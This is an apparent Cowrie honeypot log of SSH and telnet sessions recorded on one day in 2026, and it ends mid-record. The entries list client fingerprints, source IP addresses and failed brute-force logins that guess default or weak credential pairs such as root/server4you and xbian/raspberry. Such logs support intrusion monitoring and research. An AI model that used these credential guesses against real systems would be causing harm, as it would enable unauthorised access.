{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:26.900550Z","src_ip":"60.199.224.2","session":"6a643065146c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":57124,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1e8385698c1","protocol":"ssh","message":"New connection: 152.32.162.42:57124 (10.17.0.5:22) [session: b1e8385698c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:27.613827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:27.619341Z","src_ip":"152.32.162.42","session":"b1e8385698c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:27.721400Z","src_ip":"60.199.224.2","session":"6a643065146c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:27.860916Z","src_ip":"152.32.162.42","session":"b1e8385698c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user99","password":"user99","message":"login attempt [user99/user99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:28.857635Z","src_ip":"152.32.162.42","session":"b1e8385698c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:28.920901Z","src_ip":"60.199.224.2","session":"6a643065146c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:30.101779Z","src_ip":"152.32.162.42","session":"b1e8385698c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.54660677909851,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:31.645715Z","src_ip":"65.60.27.33","session":"7e3f8970268b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.284239292144775,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:36.240247Z","src_ip":"165.232.131.181","session":"c7ca13454a94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":40236,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8f3bb4567ff","protocol":"ssh","message":"New connection: 115.68.208.117:40236 (10.17.0.5:22) [session: e8f3bb4567ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:37.304959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:37.310225Z","src_ip":"115.68.208.117","session":"e8f3bb4567ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:37.526442Z","src_ip":"115.68.208.117","session":"e8f3bb4567ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":9457,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c1edc029e63","protocol":"ssh","message":"New connection: 193.24.211.95:9457 (159.203.135.109:22) [session: 4c1edc029e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:37.961195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:37.965937Z","src_ip":"193.24.211.95","session":"4c1edc029e63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:38.073655Z","src_ip":"193.24.211.95","session":"4c1edc029e63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server4you","message":"login attempt [root/server4you] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:38.407183Z","src_ip":"115.68.208.117","session":"e8f3bb4567ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59852,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e2b3e654eda","protocol":"telnet","message":"New connection: 65.60.27.33:59852 (10.17.0.5:23) [session: 3e2b3e654eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:38.469306Z"}
{"eventid":"cowrie.login.failed","username":"xbian","password":"raspberry","message":"login attempt [xbian/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:38.536805Z","src_ip":"193.24.211.95","session":"4c1edc029e63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:39.629155Z","src_ip":"115.68.208.117","session":"e8f3bb4567ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:39.647320Z","src_ip":"193.24.211.95","session":"4c1edc029e63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":29698,"dst_ip":"10.17.0.5","dst_port":22,"session":"71157bd83c38","protocol":"ssh","message":"New connection: 177.85.247.230:29698 (10.17.0.5:22) [session: 71157bd83c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:44.699955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:44.705488Z","src_ip":"177.85.247.230","session":"71157bd83c38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:44.808589Z","src_ip":"177.85.247.230","session":"71157bd83c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"abc","message":"login attempt [administrator/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:45.245382Z","src_ip":"177.85.247.230","session":"71157bd83c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:46.350600Z","src_ip":"177.85.247.230","session":"71157bd83c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.549776077270508,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:47.018967Z","src_ip":"65.60.27.33","session":"3e2b3e654eda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":46918,"dst_ip":"159.203.135.109","dst_port":22,"session":"92daf61e1e31","protocol":"ssh","message":"New connection: 191.101.59.69:46918 (159.203.135.109:22) [session: 92daf61e1e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:48.726897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:48.731105Z","src_ip":"191.101.59.69","session":"92daf61e1e31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:48.822695Z","src_ip":"191.101.59.69","session":"92daf61e1e31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123qwe123","message":"login attempt [mysql/123qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:49.206510Z","src_ip":"191.101.59.69","session":"92daf61e1e31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:50.304427Z","src_ip":"191.101.59.69","session":"92daf61e1e31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.269535303115845,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:50.896675Z","src_ip":"38.54.119.93","session":"ea89c7725bcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50602,"dst_ip":"10.17.0.5","dst_port":23,"session":"4da5b3314034","protocol":"telnet","message":"New connection: 65.60.27.33:50602 (10.17.0.5:23) [session: 4da5b3314034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:56.184657Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":46330,"dst_ip":"159.203.135.109","dst_port":22,"session":"df3cf45ad34f","protocol":"ssh","message":"New connection: 186.10.86.130:46330 (159.203.135.109:22) [session: df3cf45ad34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:56.917567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:56.922226Z","src_ip":"186.10.86.130","session":"df3cf45ad34f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:57.066914Z","src_ip":"186.10.86.130","session":"df3cf45ad34f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testtest","password":"1234567","message":"login attempt [testtest/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:57.670102Z","src_ip":"186.10.86.130","session":"df3cf45ad34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:58.818566Z","src_ip":"186.10.86.130","session":"df3cf45ad34f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":58338,"dst_ip":"159.203.135.109","dst_port":23,"session":"b77010fa7c28","protocol":"telnet","message":"New connection: 192.211.53.160:58338 (159.203.135.109:23) [session: b77010fa7c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:00.148017Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":58326,"dst_ip":"159.203.135.109","dst_port":23,"session":"707aa77c71fc","protocol":"telnet","message":"New connection: 192.211.53.160:58326 (159.203.135.109:23) [session: 707aa77c71fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:00.154789Z"}
{"eventid":"cowrie.session.closed","duration":120.00352668762207,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:03.671540Z","src_ip":"190.183.203.15","session":"3377f62656f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":60066,"dst_ip":"10.17.0.5","dst_port":22,"session":"58a2e7580ce5","protocol":"ssh","message":"New connection: 186.113.245.157:60066 (10.17.0.5:22) [session: 58a2e7580ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:06.354092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:23:06.359485Z","src_ip":"186.113.245.157","session":"58a2e7580ce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2